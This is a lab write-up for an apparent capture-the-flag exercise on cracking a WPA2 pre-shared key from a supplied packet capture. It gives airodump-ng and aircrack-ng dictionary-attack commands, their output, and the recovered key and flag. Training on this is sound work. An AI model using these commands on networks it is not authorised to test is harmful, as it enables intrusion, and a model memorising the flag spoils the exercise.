

[illegible]

Name	WPA2 PSK Cracking II
URL	https://www.attackdefense.com/challengedetails?cid=42
Type	Cracking : Wi-Fi Networks

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Step 1: Use airodump-ng to load the PCAP file.

Command: airodump-ng -r WPA2-PSK.cap

```
CH  0 ][ Elapsed: 4 s ][ 2018-11-03 13:22 ][ Finished reading input file WPA2-PSK.cap.

BSSID          PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
B8:A3:86:49:F2:4E    0      1       124    0  10  11e. WPA2 CCMP  PSK  WiFi-wpa

BSSID          STATION            PWR   Rate    Lost    Frames  Probe
B8:A3:86:49:F2:4E  78:A3:E4:3E:CE:1E    0     0e- 0    1881     160
```

There is one SSID with BSSID B8:A3:86:49:F2:4E and Client 78:A3:E4:3E:CE:1E

Step 2: Use aircrack-ng to launch the attack with the given wordlist.

Command: aircrack-ng -w 1000000-password-seclists.txt -b B8:A3:86:49:F2:4E WPA2-PSK.cap

```
Aircrack-ng 1.2 beta3

[00:00:01] 364 keys tested (216.44 k/s)

KEY FOUND! [ wilkinson330 ]

Master Key      : 71 8C 0F 94 3C 5C 2F 9B 36 1D C3 1D D5 01 6E 5D
                  DC 77 FE D7 26 F2 4A 8B 75 61 7F 12 DA 3B 55 9D

Transient Key   : 6F 17 4C 21 A5 8F 3A BD 71 10 05 00 2C CE 6C CF
                  8E 3B BD F5 EA FA 3A D0 B0 B9 B8 63 EF 9C F3 07
                  B6 5D 9F 8C 34 BE 46 1A AE 11 02 43 87 C3 22 F9
                  B9 3A D5 D9 63 E8 98 54 BE E5 68 8C 1C 46 9F D4

EAPOL HMAC     : F8 B6 69 12 6D 68 03 E8 F6 D6 CE D7 A3 94 4E A3
```

Flag: wilkinson330

References:

1. Aircrack-ng (<https://www.aircrack-ng.org/>)